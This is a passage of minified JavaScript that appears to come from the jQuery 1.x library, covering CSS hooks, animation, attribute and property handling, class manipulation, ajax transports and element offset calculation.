n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):this.each(it.isFunction(e)?function(n){it(this).toggleClass(e.call(this,n,this.className,t),t)}:function(){if("string"===n)for(var t,r=0,i=it(this),o=e.match(bt)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else(n===Et||"boolean"===n)&&(this.className&&it._data(this,"__className__",this.className),this.className=this.className||e===!1?"":it._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,r=this.length;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(Dn," ").indexOf(t)>=0)return!0;return!1}}),it.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){it.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),it.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var Ln=it.now(),Hn=/\?/,_n=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;it.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=it.trim(t+"");return i&&!it.trim(i.replace(_n,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():it.error("Invalid JSON: "+t)},it.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new DOMParser,n=r.parseFromString(t,"text/xml")):(n=new ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||it.error("Invalid XML: "+t),n};var qn,Fn,Mn=/#.*$/,On=/([?&])_=[^&]*/,Rn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Bn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Pn=/^(?:GET|HEAD)$/,In=/^\/\//,Wn=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,$n={},zn={},Xn="*/".concat("*");try{Fn=location.href}catch(Un){Fn=ht.createElement("a"),Fn.href="",Fn=Fn.href}qn=Wn.exec(Fn.toLowerCase())||[],it.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Fn,type:"GET",isLocal:Bn.test(qn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Xn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":it.parseJSON,"text xml":it.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?I(I(e,it.ajaxSettings),t):I(it.ajaxSettings,e)},ajaxPrefilter:B($n),ajaxTransport:B(zn),ajax:function(e,t){function n(e,t,n,r){var i,c,v,y,x,T=t;2!==b&&(b=2,s&&clearTimeout(s),u=void 0,a=r||"",w.readyState=e>0?4:0,i=e>=200&&300>e||304===e,n&&(y=W(d,w,n)),y=$(d,y,w,i),i?(d.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(it.lastModified[o]=x),x=w.getResponseHeader("etag"),x&&(it.etag[o]=x)),204===e||"HEAD"===d.type?T="nocontent":304===e?T="notmodified":(T=y.state,c=y.data,v=y.error,i=!v)):(v=T,(e||!T)&&(T="error",0>e&&(e=0))),w.status=e,w.statusText=(t||T)+"",i?h.resolveWith(f,[c,T,w]):h.rejectWith(f,[w,T,v]),w.statusCode(g),g=void 0,l&&p.trigger(i?"ajaxSuccess":"ajaxError",[w,d,i?c:v]),m.fireWith(f,[w,T]),l&&(p.trigger("ajaxComplete",[w,d]),--it.active||it.event.trigger("ajaxStop")))}"object"==typeof e&&(t=e,e=void 0),t=t||{};var r,i,o,a,s,l,u,c,d=it.ajaxSetup({},t),f=d.context||d,p=d.context&&(f.nodeType||f.jquery)?it(f):it.event,h=it.Deferred(),m=it.Callbacks("once memory"),g=d.statusCode||{},v={},y={},b=0,x="canceled",w={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c)for(c={};t=Rn.exec(a);)c[t[1].toLowerCase()]=t[2];t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=y[n]=y[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)g[t]=[g[t],e[t]];else w.always(e[w.status]);return this},abort:function(e){var t=e||x;return u&&u.abort(t),n(0,t),this}};if(h.promise(w).complete=m.add,w.success=w.done,w.error=w.fail,d.url=((e||d.url||Fn)+"").replace(Mn,"").replace(In,qn[1]+"//"),d.type=t.method||t.type||d.method||d.type,d.dataTypes=it.trim(d.dataType||"*").toLowerCase().match(bt)||[""],null==d.crossDomain&&(r=Wn.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]===qn[1]&&r[2]===qn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(qn[3]||("http:"===qn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=it.param(d.data,d.traditional)),P($n,d,t,w),2===b)return w;l=d.global,l&&0===it.active++&&it.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Pn.test(d.type),o=d.url,d.hasContent||(d.data&&(o=d.url+=(Hn.test(o)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=On.test(o)?o.replace(On,"$1_="+Ln++):o+(Hn.test(o)?"&":"?")+"_="+Ln++)),d.ifModified&&(it.lastModified[o]&&w.setRequestHeader("If-Modified-Since",it.lastModified[o]),it.etag[o]&&w.setRequestHeader("If-None-Match",it.etag[o])),(d.data&&d.hasContent&&d.contentType!==!1||t.contentType)&&w.setRequestHeader("Content-Type",d.contentType),w.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Xn+"; q=0.01":""):d.accepts["*"]);for(i in d.headers)w.setRequestHeader(i,d.headers[i]);if(d.beforeSend&&(d.beforeSend.call(f,w,d)===!1||2===b))return w.abort();x="abort";for(i in{success:1,error:1,complete:1})w[i](d[i]);if(u=P(zn,d,t,w)){w.readyState=1,l&&p.trigger("ajaxSend",[w,d]),d.async&&d.timeout>0&&(s=setTimeout(function(){w.abort("timeout")},d.timeout));try{b=1,u.send(v,n)}catch(T){if(!(2>b))throw T;n(-1,T)}}else n(-1,"No Transport");return w},getJSON:function(e,t,n){return it.get(e,t,n,"json")},getScript:function(e,t){return it.get(e,void 0,t,"script")}}),it.each(["get","post"],function(e,t){it[t]=function(e,n,r,i){return it.isFunction(n)&&(i=i||r,r=n,n=void 0),it.ajax({url:e,type:t,dataType:i,data:n,success:r})}}),it.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){it.fn[t]=function(e){return this.on(t,e)}}),it._evalUrl=function(e){return it.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},it.fn.extend({wrapAll:function(e){if(it.isFunction(e))return this.each(function(t){it(this).wrapAll(e.call(this,t))});if(this[0]){var t=it(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return this.each(it.isFunction(e)?function(t){it(this).wrapInner(e.call(this,t))}:function(){var t=it(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=it.isFunction(e);return this.each(function(n){it(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){it.nodeName(this,"body")||it(this).replaceWith(this.childNodes)}).end()}}),it.expr.filters.hidden=function(e){return e.offsetWidth<=0&&e.offsetHeight<=0||!nt.reliableHiddenOffsets()&&"none"===(e.style&&e.style.display||it.css(e,"display"))},it.expr.filters.visible=function(e){return!it.expr.filters.hidden(e)};var Vn=/%20/g,Gn=/\[\]$/,Yn=/\r?\n/g,Jn=/^(?:submit|button|image|reset|file)$/i,Kn=/^(?:input|select|textarea|keygen)/i;it.param=function(e,t){var n,r=[],i=function(e,t){t=it.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=it.ajaxSettings&&it.ajaxSettings.traditional),it.isArray(e)||e.jquery&&!it.isPlainObject(e))it.each(e,function(){i(this.name,this.value)});else for(n in e)z(n,e[n],t,i);return r.join("&").replace(Vn,"+")},it.fn.extend({serialize:function(){return it.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=it.prop(this,"elements");return e?it.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!it(this).is(":disabled")&&Kn.test(this.nodeName)&&!Jn.test(e)&&(this.checked||!Dt.test(e))}).map(function(e,t){var n=it(this).val();return null==n?null:it.isArray(n)?it.map(n,function(e){return{name:t.name,value:e.replace(Yn,"\r\n")}}):{name:t.name,value:n.replace(Yn,"\r\n")}}).get()}}),it.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&X()||U()}:X;var Qn=0,Zn={},er=it.ajaxSettings.xhr();e.ActiveXObject&&it(e).on("unload",function(){for(var e in Zn)Zn[e](void 0,!0)}),nt.cors=!!er&&"withCredentials"in er,er=nt.ajax=!!er,er&&it.ajaxTransport(function(e){if(!e.crossDomain||nt.cors){var t;return{send:function(n,r){var i,o=e.xhr(),a=++Qn;if(o.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)o[i]=e.xhrFields[i];e.mimeType&&o.overrideMimeType&&o.overrideMimeType(e.mimeType),e.crossDomain||n["X-Requested-With"]||(n["X-Requested-With"]="XMLHttpRequest");for(i in n)void 0!==n[i]&&o.setRequestHeader(i,n[i]+"");o.send(e.hasContent&&e.data||null),t=function(n,i){var s,l,u;if(t&&(i||4===o.readyState))if(delete Zn[a],t=void 0,o.onreadystatechange=it.noop,i)4!==o.readyState&&o.abort();else{u={},s=o.status,"string"==typeof o.responseText&&(u.text=o.responseText);try{l=o.statusText}catch(c){l=""}s||!e.isLocal||e.crossDomain?1223===s&&(s=204):s=u.text?200:404}u&&r(s,l,u,o.getAllResponseHeaders())},e.async?4===o.readyState?setTimeout(t):o.onreadystatechange=Zn[a]=t:t()},abort:function(){t&&t(void 0,!0)}}}}),it.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return it.globalEval(e),e}}}),it.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),it.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=ht.head||it("head")[0]||ht.documentElement;return{send:function(r,i){t=ht.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var tr=[],nr=/(=)\?(?=&|$)|\?\?/;it.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=tr.pop()||it.expando+"_"+Ln++;return this[e]=!0,e}}),it.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(nr.test(t.url)?"url":"string"==typeof t.data&&!(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&nr.test(t.data)&&"data");return s||"jsonp"===t.dataTypes[0]?(i=t.jsonpCallback=it.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(nr,"$1"+i):t.jsonp!==!1&&(t.url+=(Hn.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||it.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,tr.push(i)),a&&it.isFunction(o)&&o(a[0]),a=o=void 0}),"script"):void 0}),it.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||ht;var r=dt.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=it.buildFragment([e],t,i),i&&i.length&&it(i).remove(),it.merge([],r.childNodes))};var rr=it.fn.load;it.fn.load=function(e,t,n){if("string"!=typeof e&&rr)return rr.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>=0&&(r=it.trim(e.slice(s,e.length)),e=e.slice(0,s)),it.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(o="POST"),a.length>0&&it.ajax({url:e,type:o,dataType:"html",data:t}).done(function(e){i=arguments,a.html(r?it("<div>").append(it.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){a.each(n,i||[e.responseText,t,e])}),this},it.expr.filters.animated=function(e){return it.grep(it.timers,function(t){return e===t.elem}).length};var ir=e.document.documentElement;it.offset={setOffset:function(e,t,n){var r,i,o,a,s,l,u,c=it.css(e,"position"),d=it(e),f={};"static"===c&&(e.style.position="relative"),s=d.offset(),o=it.css(e,"top"),l=it.css(e,"left"),u=("absolute"===c||"fixed"===c)&&it.inArray("auto",[o,l])>-1,u?(r=d.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(l)||0),it.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):d.css(f)}},it.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){it.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,it.contains(t,i)?(typeof i.getBoundingClientRect!==Et&&(r=i.getBoundingClientRect()),n=V(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===it.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),it.nodeName(e[0],"html")||(n=e.offset()),n.top+=it.css(e[0],"borderTopWidth",!0),n.left+=it.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-it.css(r,"marginTop",!0),left:t.left-n.left-it.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var 